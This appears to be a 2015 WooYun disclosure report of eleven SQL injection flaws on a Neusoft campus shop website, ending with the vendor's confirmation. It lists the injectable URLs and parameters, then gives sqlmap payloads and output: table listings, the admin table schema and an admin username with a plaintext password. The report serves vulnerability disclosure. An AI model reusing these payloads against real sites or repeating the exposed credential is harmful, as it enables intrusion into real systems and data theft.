当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0134402

漏洞标题：东软集团某站十一处SQL注入打包

相关厂商：东软集团

漏洞作者： 路人甲

提交时间：2015-08-17 13:36

修复时间：2015-10-05 09:02

公开时间：2015-10-05 09:02

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-17： 细节已通知厂商并且等待厂商处理中
2015-08-21： 厂商已经确认，细节仅向厂商公开
2015-08-31： 细节向核心白帽子及相关领域专家公开
2015-09-10： 细节向普通白帽子公开
2015-09-20： 细节向实习白帽子公开
2015-10-05： 细节向公众公开

简要描述：

RT，上个首页可否

详细说明：

十一处SQL注入打包，密码明文存储
SQL注入打包，八处，多参数
第一处：

http://shop.neusoft.edu.cn/ChocolateServlet?id=*
参数id存在注入


第二处：

http://shop.neusoft.edu.cn/Findfoodservlet?food_name=*&order_list_title=%25E7%259B%2596%25E9%25A5%25AD%25E7%25B1%25BB&_=1439687116971
food_name参数，order_list_title参数存在注入


第三处：

http://shop.neusoft.edu.cn/InterestFoodDetailServlet?food_id=cho2013111813324027
food_id参数存在注入


第四处：

http://shop.neusoft.edu.cn/LatticeServlet
post参数
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="button"
Ìá½»ÉêÇë
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="main"
1
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="pageId"
addLatticeServlet
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="phonenum"
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="qqnum"
1
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="salProdClass"
1
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="shopAlias"
1
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="shopDesc"
1
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="shopKeeperId"
1
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="shopWebsite"
http://www.vulnweb.com
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="studentofdept"
1
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="studentofmajor"
1
-------AcunetixBoundary_SBQXWVPJHV
Content-Disposition: form-data; name="shopShowImg"; filename="acunetix.txt"
Content-Type: text/plain
-------AcunetixBoundary_SBQXWVPJHV--
参数phonenum,qqnum,salProdClass,shopAlias,shopDesc,shopWebsite都存在注入


第五处：

http://shop.neusoft.edu.cn/Like_findservlet?Food_name=*&_=1439687116968
参数Food_name存在注入


第六处：

http://shop.neusoft.edu.cn/NeusoftKnowServlet?pageId=questionDetail&questionId=*
参数questionId存在注入


第七处：

http://shop.neusoft.edu.cn/NewsServlet?newsId=*&pageId=newsDetail
参数newsId存在sql注入


第八处：

http://shop.neusoft.edu.cn/RegistServlet?Id=*&password=g00dPa%24%24w0rD&user2=student
参数Id参数和password参数都存在注入


第九处：

http://shop.neusoft.edu.cn/InterestFindKindservlet?food_name=*&order_list_title=%25E6%25B0%25B4%25E6%259E%259C%25E7%25B1%25BB&_=1439650016267
参数food_name和参数order_list_title都存在注入


第十处：

http://shop.neusoft.edu.cn/InterestFoodLikeServlet?Food_name=*&_=1439650016265
参数Food_name存在注入


第十一处：

http://shop.neusoft.edu.cn/LoginServlet?button=%e7%99%bb%e9%99%86&fromTag=commLogin&funParam=null&Id=-1&pageId=login&password=g00dPa%24%24w0rD&user2=student
参数ID存在注入，password存在注入

漏洞证明：

sqlmap identified the following injection points with a total of 297 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://shop.neusoft.edu.cn:80/InterestFindKindservlet?food_name=' AND 6908=6908 AND 'GsLQ' LIKE 'GsLQ&order_list_title=%E6%B0%B4%E6%9E%9C%E7%B1%BB&_=1439650016267
    Vector: AND [INFERENCE]
    Type: UNION query
    Title: MySQL UNION query (63) - 27 columns
    Payload: http://shop.neusoft.edu.cn:80/InterestFindKindservlet?food_name=' UNION ALL SELECT 63,63,CONCAT(0x716a6a7a71,0x5973656f7779677a6544,0x7171716b71),63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63#&order_list_title=%E6%B0%B4%E6%9E%9C%E7%B1%BB&_=1439650016267
    Vector:  UNION ALL SELECT 63,63,[QUERY],63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63#
---
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
current user:    'shop.is@%'
current database:    'shop.is'
current user is DBA:    False
available databases [2]:
[*] information_schema
[*] shop.is
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://shop.neusoft.edu.cn:80/InterestFindKindservlet?food_name=' AND 6908=6908 AND 'GsLQ' LIKE 'GsLQ&order_list_title=%E6%B0%B4%E6%9E%9C%E7%B1%BB&_=1439650016267
    Vector: AND [INFERENCE]
    Type: UNION query
    Title: MySQL UNION query (63) - 27 columns
    Payload: http://shop.neusoft.edu.cn:80/InterestFindKindservlet?food_name=' UNION ALL SELECT 63,63,CONCAT(0x716a6a7a71,0x5973656f7779677a6544,0x7171716b71),63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63#&order_list_title=%E6%B0%B4%E6%9E%9C%E7%B1%BB&_=1439650016267
    Vector:  UNION ALL SELECT 63,63,[QUERY],63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63#
---
web application technology: Nginx
back-end DBMS: MySQL 5
available databases [2]:
[*] information_schema
[*] shop.is
Database: shop.is
[43 tables]
+-------------------------------+
| Food                          |
| Restaurant_phone              |
| admin_user                    |
| choc_order                    |
| chocolate                     |
| common_address                |
| diaocha                       |
| dish_detail                   |
| dish_detail_history           |
| dish_order                    |
| dish_order_detail             |
| dish_order_detail_history     |
| dish_order_history            |
| drink                         |
| food_phone                    |
| friends_link                  |
| gift_info                     |
| interest_cate                 |
| interest_food                 |
| interest_order                |
| interest_order_detail         |
| interest_order_detail_history |
| interest_order_history        |
| interest_provider             |
| lattice_shop                  |
| major_shop                    |
| network_master                |
| neusoft_know_answer           |
| neusoft_know_question         |
| print_history                 |
| print_info                    |
| print_info_history            |
| print_price_config            |
| restaurant                    |
| school_news                   |
| school_notice                 |
| squence_number                |
| student_user                  |
| student_user_history          |
| teacher_user                  |
| used_prod                     |
| user_phone                    |
| visitor_num                   |
+-------------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://shop.neusoft.edu.cn:80/InterestFindKindservlet?food_name=' AND 6908=6908 AND 'GsLQ' LIKE 'GsLQ&order_list_title=%E6%B0%B4%E6%9E%9C%E7%B1%BB&_=1439650016267
    Vector: AND [INFERENCE]
    Type: UNION query
    Title: MySQL UNION query (63) - 27 columns
    Payload: http://shop.neusoft.edu.cn:80/InterestFindKindservlet?food_name=' UNION ALL SELECT 63,63,CONCAT(0x716a6a7a71,0x5973656f7779677a6544,0x7171716b71),63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63#&order_list_title=%E6%B0%B4%E6%9E%9C%E7%B1%BB&_=1439650016267
    Vector:  UNION ALL SELECT 63,63,[QUERY],63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63#
---
web application technology: Nginx
back-end DBMS: MySQL 5
available databases [2]:
[*] information_schema
[*] shop.is
Database: shop.is
Table: admin_user
[4 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| admin_id   | varchar(30)  |
| admin_name | varchar(30)  |
| admin_tag  | varchar(100) |
| password   | varchar(30)  |
+------------+--------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://shop.neusoft.edu.cn:80/InterestFindKindservlet?food_name=' AND 6908=6908 AND 'GsLQ' LIKE 'GsLQ&order_list_title=%E6%B0%B4%E6%9E%9C%E7%B1%BB&_=1439650016267
    Vector: AND [INFERENCE]
    Type: UNION query
    Title: MySQL UNION query (63) - 27 columns
    Payload: http://shop.neusoft.edu.cn:80/InterestFindKindservlet?food_name=' UNION ALL SELECT 63,63,CONCAT(0x716a6a7a71,0x5973656f7779677a6544,0x7171716b71),63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63#&order_list_title=%E6%B0%B4%E6%9E%9C%E7%B1%BB&_=1439650016267
    Vector:  UNION ALL SELECT 63,63,[QUERY],63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63#
---
web application technology: Nginx
back-end DBMS: MySQL 5
available databases [2]:
[*] information_schema
[*] shop.is
Database: shop.is
Table: admin_user
[1 entry]
+------------+----------+
| admin_name | password |
+------------+----------+
| neusoft    | 10021050 |
+------------+----------+

修复方案：

参数过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-08-21 09:01

厂商回复：

维护部门反馈，问题确认。感谢作者提供的漏洞信息。已经要求维护部门先行下线处理。修复后再上线。

最新状态：

暂无

漏洞评价：

评论